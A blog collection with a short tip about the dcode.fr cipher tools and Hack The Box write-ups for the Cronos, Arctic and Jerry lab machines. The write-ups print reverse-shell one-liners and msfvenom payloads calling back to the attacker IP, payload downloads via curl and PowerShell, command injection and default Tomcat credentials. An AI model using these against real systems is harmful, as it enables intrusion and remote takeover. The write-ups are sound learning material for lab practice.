Solving crypto puzzles with dcode.fr

If anyone is starting out with crypto security puzzles on sites like hack the box or diving into the world of encryption there’s a site worth taking a look at before you ever need it:

http://www.dcode.fr/en

Don’t be put off that it’s a french site, the link above takes you to the English translated version.

The site holds tools for decoding/encoding practically every type of encryption you will come across in all but the more advanced challenges. Instead of having to write your own tools for a variety of possible ciphers you think the puzzle uses you can stick your text in a bunch of possible decoders on this site and see what comes back with something sensible looking. It’s many times quicker than doing it manually or trying to search for a reliable tool.

All the encoding/decoding happens in the browser so you don’t need to wait for downloads. It’s quick and free. The list of tools it has is massive but some of the ones I’ve used to solve puzzles online are:

• https://www.dcode.fr/md5-hash
• https://www.dcode.fr/sha256-hash
• https://www.dcode.fr/differences-2-texts
• https://www.dcode.fr/caesar-cipher
• https://www.dcode.fr/rot-cipher

Even if you don’t know which Cipher you need for a challenge you can have a browse around this site and get some inspiration for possible cipher methods in a specific category.

As an example of how useful the site is here’s a basic rot cipher code where the letters have been shifted forward in the alphabet, the problem is you don’t know by how many places. Instead of running a rot decoder 26x the site has a brute force feature which will do it all at once for you:

Aopz dlizpal pz clyf bzlmbs

From that list we can clearly see that the code is shifted 7x and the decoded text is given to us.

 

Advertisement

Hack The Box – Cronos – writeup

Cronis is a Linux box which had a few failures before I found a method which worked to get the root password at the end. It was good practise of the “try harder” motto.

Starting with a nmap scan we can see 3 ports open, SSH, DNS and HTTP

I like to check if any default admin:admin type passwords work for ssh login to give us an easy start. but no luck.

We can then head over to the webpage and see that it looks like a default Apache install.

As the default index.html doesn’t seem to be hiding any clues I started a dirbuster scan to find any hidden files/folders but that also comes up empty.

The DNS port we found earlier is likely there for a reason, most HTB boxes don’t have it running unless it’s going to help us compromise a box so lets do some enumeration and see what we can find. An NSlookup shows the subdomain ns1.cronos.htb

It’s possible that there are multiple other subdomains being used so lets edit the /etc/hosts file, first trying domain cronos.htb

If we then re-visit the server with our browser it takes us to a new page. It’s a good sign we’re on the right track but there are no more clues on this page, we’re likely going to have to keep digging with DNS.

we can do a zone transfer to see what other information the DNS server throws up. A few more subdomains are mentioned, and anything with “admin” in the name is always worth looking further into.

If we add this new domain to the hosts file as before and visit it we get a new login page we can try to attack.

Looking at the source code and trying some default admin:admin credentials doesn’t give us anything, but moving onto testing SQL injection does

tricking the login page into thinking we’ve been successful with our credentials takes us to this very basic looking page with some pre-built functions which ping and tracert a given IP

As the famous web security saying goes “Never trust user input”. Lets see if the developer of this page took that advice and applied some sort of validation/filter to the user input.

Nope! We can run a selection of linux commands by adding a ; after the IP address in the input box. This is the time to start looking at getting a shell over to the server. First we setup our nc listener

I then tried a few one liners such as :

• nc -e /bin/sh 10.0.14.23 4444
• rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.14.23 4444 >/tmp/f
• php -r ‘$sock=fsockopen(“10.0.14.23”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);

but they didn’t work so the next step is to see if we could put a PHP script onto the server. The one I used was the pentestmonkey one available from the URL in this screenshot:

Once downloaded you need to enter your port and IP and host it using the built in Kali tool SimpleHTTPserver.

It can then be uploaded using this command appended to the IP address on the webpage.

curl -O http://10.10.14.23:8000/dodgyfile.php

Manually visiting the new file causes it to run and we get our shell.

A quick browse to the user folder finds the flag in the usual place

Next step is to try and upgrade our shell so we can perform a few more actions during enumeration. You can spawn a python shell using:

python -c ‘import pty;pty.spawn(“/bin/bash”);’

then navigate over to /dev/shm in preparation for getting the Linenum.sh script onto it.

Linenum is a well known script which performs lots of enumeration functions on Linux systems, saving you time and removing the risk of you forgetting to run something useful. It can be found at : https://github.com/rebootuser/LinEnum

I downloaded it and placed it in my SimpleHTTPServer folder, then ran this on the victim machine to transfer it:

curl -O http://10.10.14.23:8000/linuxenum.sh

Note: you need to chmod +x the script before it will run:

The script provides a lot of useful information, starting with basic version info:

A few options for different shells if we need them for future attacks

And it spots a PHP file running with root privileges. Given that the name of the box is Cronos is a clue that we should be looking at something happening with a cron job.

If we visit the artisan file it looks like this job runs the schedule method for a program called Laravel artisan. The schedule method however isn’t inside the artisan file. But if we look at google for it we eventually find a reference to where it might be:

We can confirm it’s there:

The Kernel file allows us to edit it and add our own lines into the schedule method. If this runs as root then in theory we have pwned the system. I tried to execute a cat command to transfer the contents of the root.txt file into a file I had access to:

This created the new root.txt file but for some reason didn’t copy the contents of the original file, so lets try changing the permissions to just allow us to browse to it manually.

Once again the task ran but didn’t work as expected. There is always more than one way to complete these challenges so after playing with the Kernel.php file for a bit longer I went back to my enumeration and tried looking for other privilege escalation exploits for this version of Linux.

The first one that came up was :https://www.exploit-db.com/exploits/44298

which we can download and compile using:

gcc -o file 44298.c

We can transfer it over to the victim machine using SimpleHTTPServer as before and running it works first time to give us root access.

The flag is in the root folder.

 

Hack The Box – Arctic – writeup

Arctic is a vulnerable windows box showing the risks of running an unpatched Coldfusion server and a very out dated windows 2008 r2 server.

First step as standard is to run a nmap scan and see what ports are available to us:

There are 3 ports visible from the scan, port 135 and 49154 are standard for RPC and they are present on a lot of HTB boxes. the mystery port 8500 is unknown to nmap so lets take a look at that one first. Google tells us it’s the default port for Adobe Coldfusion.

Visiting the host on port 8500 using a browser gives us a directory to we can navigate. the letters CF at the start of the names are another clue pointing to this being a Coldfusion server.

For whatever reason this directory takes absolutely ages to load each page so to make things easier I tried loading every page I saw in a new tab and went away for 10 minutes to make a cup of tea while they loaded.

The CFIDE folder contained an administrator page which is all the confirmation we need about this being a Coldfusion host. It also tells us this is version 8.

Some more Google enumeration tells us that version 8 came out in 2007, if this is a base install then there will almost certainly be many different vulnerabilities out by now we could use to try and break into this box (nothing stays secure forever):

Searching on exploit-db by date we can see a few cross site scripting vulnerabilities but more helpfully an arbitrary file upload.

Taking a quick look at the code it seems like a small ruby script which exploits the FCKeditor upload functionality, it also has a module in Metasploit which makes things easier for us.

If you launch Msfconsole and search for “Coldfusion”, there are a few results. Looks like number 7 most closely matches what we found in exploit-db. The only difference is the date.

The exploit only requires a remote host and remote port.

Unfortunately it fails when run. Time to start trying harder!

The next step felt like I got a bit lucky. When an exploit fails to run one of the first things I check is whether the victim box is still up and running. Sometimes other users have broken it or a failed exploit causes it to crash so you need to give it a reboot before continuing. As a test I refreshed the IE page and when it came back I saw it had a new folder called “userfiles”. So the exploit hadn’t totally failed , looks likes it had managed to upload at least some files:

This new folder contains a .jsp file which is likely the exploit Metasploit had uploaded but for whatever reason had failed to run. Lets setup up a listener and see if we can run it manually. The error from Metasploit earlier showed us that we expect to reverse shell to start talking on port 4444:

Now click on the .jsp

And it works! we are on the server as a user named tolis:

The flag is in the expected location:

tolis doesn’t have admin rights so in order to get the root flag we’re going to have to start looking at what privilege escalation we have available to us. Systeminfo tells us that this is a server 2008 R2 system so unless it is patched up to the latest version we should be able to find a few things to try:

But before jumping straight into new exploits It’s always a good idea to try to improve whatever shell you managed to get as a foothold. In this instance we’re going to try and transfer this shell into the Metasploit meterpreter to take advantage of all the extra features it has over our basic shell. We can try to create a payload using msfvenom and hopefully it’ll let us upload it using the shell we currently have. We know the server is some sort of web server so it likely won’t have any problems if we use a HTTP reverse shell.

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f jsp -o dodgyfile.exe

Now to start the SimpleHTTPserver that comes with Kali:

And after a bit of trial and error we can download the payload to the victim server using this line:

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.20:80/dodgyfile.exe&#8217;,’superdodgy.exe’)”

Before we run it we need to setup the listener on our Kali box to be ready to catch the incoming connection, back in msfconsole we set the payload type, the host and port to listen on (Matching what we set in msfvenom previously):

Back on the victim machine lets run the payload and see if it works:

It connects instantly and we can start enjoying our new shell:

One of the first things to try is the built in “getsystem” command within Meterpreter which tries a few quick privilege escalation methods. I don’t find that it works too often but it’s quick enough that it never hurts to try:

No luck. Another feature of the meterpreter shell is a post-exploit tool which can scan the system and suggest possible privilege escalations to try located at: /post/multi/recon/local_exploit_suggester which finds 11 possible exploits and after some quick tests suggests 4 of them are likely to work:

Starting at the top lets try ms10_092_schelevator after backgrounding our new shell

Setting our session option and running it looks promising at first but gives mixed messages about whether it has worked or not:

If we have another look at the options for this exploit it shows that the LHOST isn’t set correctly:

If we fix that to use the IP we have on the HTB network instead of on the local network the exploit works better and we get our system shell:

Root flag is in the usual location:

Hack The Box – Jerry – Writeup

Jerry is a retired box from HTB so can only be done if you have a premium VIP account.

It shows the risks of leaving default credentials for installed services. The solution I’ve got here is fairly standard and I’ve kept in a little of extra in terms of thought processes which didn’t go anywhere instead of just writing out how to get the flags yourself.

---

First step is to run an Nmap scan of the target and note that it only comes back with one port, running Apache Tomcat version 7.0.88 and Coyote JSP Engine 1.1

As it looks like a web server, we can visit the site and confirm it looks like a base install of Apache Tomcat version 7.0.88

Only thing to notice from this generic Tomcat page is a file path name. This is worth noting in case we are trying to navigate around the file system at a later point in time.

Normally this might be the time to start running a tool like dirb or dirbuster to try and find what else is available on this server however some nice links are given to us in the top right as “Server Status” “Manager App” and “Host manager”. All 3 present us with a login box if we try to access them.

As this looks like a default install of Tomcat lets check to see if the default credentials have been changed. A quick Google search reveals a Github page with about 20 default passwords listed for tomcat installs. If there were more than 20 we Could use Hydra to automate trying them however as the passwords were short and simple enough you can work through them manually very quickly.

Doing this with the Server status module yields success for the login admin:admin

There isn’t much to see on this page, the only thing which stands out is an out of date java version which isn’t directly vulnerable now but worth noting for later if we get stuck.

Trying to log into the other modules now gives a HTTP 403 authorisation error instead of the password prompt from before. This is because the site is still trying to login with the admin:admin credential from earlier and while it registers as a valid set of credentials the admin account doesn’t have authorisation to access the other modules. There is no logout option on the site so you need to clear your browser history to reset.

A different set of  default credentials from Github is successful and we can get into the Manager app using tomcat:s3cret

There is plenty of interesting info on this page but the obvious place to start looking is the upload feature. Any functionality which gives us the ability to put our own files onto a remote server and execute them is a good candidate for further investigation.

If we can get a file onto the server which executes a reverse shell and connects back to us we can use that as a foothold to get further into the system. Lets use msfvenom to help create this reverse shell in a .war format as it is most likely going to be accepted by the uploader. We know the server is sending out http traffic so as a first choice we should look at using the http reverse shell. Any protocol not blocked by the firewall is likely to work for this.

We need to edit the options in the Meterpreter shell with the details of our local machine IP and port and give it a name of dodgyfile.war

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f war -o dodgyfile.war

The .war file is going to have a .jsp file inside with a randomised name. This is in an effort to try to disguise it from virus scanners. It’s worth making a note of the name in case we need to manually visit it later. You can view the contents of the war file using any zip tool.

Now that we have the payload we should setup our machine to start listening in case the reverse shell gets activated as soon as we complete the upload.

Setup Metasploit as the listener by opening it up and using the exploit/multi/handler and giving it a few parameters

set the local host to your network interface (Look it up using ifconfig if needed). Set the port to whatever was set in the payload previously.

Start the listener using exploit -j  (-j puts the process into the background as soon as it starts)

Back on the target website lets try and upload our dodgy file. Fingers crossed there aren’t any extra security checks which might flag up the file. (unlikely, but we won’t know util we try)

Looks like it has uploaded fine, checking the Metasploit listener it hasn’t auto-ran so we need to find out how to get it started manually.

After a bit of clicking about and trying the features on the app manager page it looks like you can manually navigate to the .jsp we noted earlier to get it to execute.

As our listener was in the background waiting it caught the incoming connection and we can interact with it using:

sessions -i 1

To make things easier to navigate use the shell command and you can start enumeration and browsing for the required flags.

Slightly disappointing that there is no privilege escalation required for this box as you start your shell as the system account by default and can go straight into the administration account. The only small challenge left is to remember how to use quotes to see the contents of a text file with spaces in its name. Both flags are in the same text file.